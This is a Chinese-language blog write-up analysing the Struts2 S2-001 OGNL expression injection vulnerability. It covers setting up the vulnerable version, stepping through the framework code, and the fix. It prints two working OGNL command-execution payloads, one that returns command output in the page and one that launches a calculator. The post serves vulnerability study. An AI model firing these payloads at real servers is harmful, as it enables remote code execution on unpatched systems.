前言 经典 Java 软件漏洞 struts 系列,准备一个个看过去。
环境搭建 struts2 环境的搭建参考文章 ,详细而且好用。
阅读 S2-001 的官方通告 ,安装 2.0.8 版本的 struts2 依赖:
1 2 3 4 5 <dependency > <groupId > org.apache.struts</groupId > <artifactId > struts2-core</artifactId > <version > 2.0.8</version > </dependency >
配置文件和 Action 代码可以参考 Chybeta 师傅的文章 。
Tomcat 可以配置远程也可以配置本地,没有版本要求的情况下还是本地比较方便一点。
漏洞利用 根据官方漏洞通告,漏洞算是一个 OGNL 表达式注入的漏洞,原因在于 struts 在渲染模板的时候会递归计算表达式,而 struts 中的 JSP 页面中的表单值跟 Action 变量是绑定的,所以在 username 变量为 %{1+1} 的情况下会在本来的 %{username} 这样的表达式中将 username 当作一个表达式来处理。
所以漏洞可以在用于页面渲染的变量可控的情况下触发,比如传一个 username,然后 struts 又把这个 username 贴回模板里的时候。
贴一个命令执行的 payload:
1 %{#a =(new java.lang.ProcessBuilder (new java.lang.String []{})).redirectErrorStream(true ).start(),#b =#a .getInputStream(),#c =new java.io.InputStreamReader (#b ),#d =new java.io.BufferedReader (#c ),#e =new char[50000 ],#d .read(#e ),#f =#context .get(),#f .getWriter().println(new java.lang.String (#e )),#f .getWriter().flush(),#f .getWriter().close()}
还有:
1 %{(new java.lang.ProcessBuilder (new java.lang.String []{"deepin-calculator" })).start ()}
比 spel 的反射链命令执行好看很多。
漏洞分析 不熟悉 struts 和 tomcat 的流程,按照他渲染肯定要获取 username 的想法,给 getUsername 下断点来调试,找到 UIBean.class 的 end 函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 public boolean end (Writer writer, String body) { this .evaluateParams(); try { super .end(writer, body, false ); this .mergeTemplate(writer, this .buildTemplateName(this .template, this .getDefaultTemplate())); } catch (Exception var7) { LOG.error("error when rendering" , var7); } finally { this .popComponentStack(); } return false ; }
很明显这里就是最后返回 HTML 页面的地方,跟入处理参数的 evaluateParams 方法,看到关键代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 Class valueClazz = this .getValueClassType();if (valueClazz != null ) { if (this .value != null ) { this .addParameter("nameValue" , this .findValue(this .value, valueClazz)); } else if (name != null ) { String expr = name; if (this .altSyntax()) { expr = "%{" + name + "}" ; } this .addParameter("nameValue" , this .findValue(expr, valueClazz)); } }
这里的 name 就是变量名 username,valueClazz 就是变量类型,这里将 username 拼接成 %{username} 的表达式并执行,然后用执行结果渲染模板,继续往下走,来到 translateVariables 方法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 while (true ) { int start = expression.indexOf(open + "{" ); int length = expression.length(); int x = start + 2 ; int end; char c; int count = 1 ; while (start != -1 && x < length && count != 0 ) { c = expression.charAt(x++); if (c == '{' ) { count++; } else if (c == '}' ) { count--; } } end = x - 1 ; if ((start != -1 ) && (end != -1 ) && (count == 0 )) { String var = expression.substring(start + 2 , end); Object o = stack.findValue(var , asType); if (evaluator != null ) { o = evaluator.evaluate(o); } String left = expression.substring(0 , start); String right = expression.substring(end + 1 ); if (o != null ) { if (TextUtils.stringSet(left)) { result = left + o; } else { result = o; } if (TextUtils.stringSet(right)) { result = result + right; } expression = left + o + right; } else { result = left + right; expression = left + right; } } else { break ; } }
这里就是漏洞公告里面提到的递归执行表达式了,是一个死循环,不停地寻找最里层的 %{} 表达式,执行之后将返回结果和前后拼接再次寻找 %{} 来执行。
漏洞修复 在 translateVariables 方法的递归中加上了最大递归层数,一般为 1:
1 2 3 4 if (loopCount > maxLoopCount) { break ; }
Orz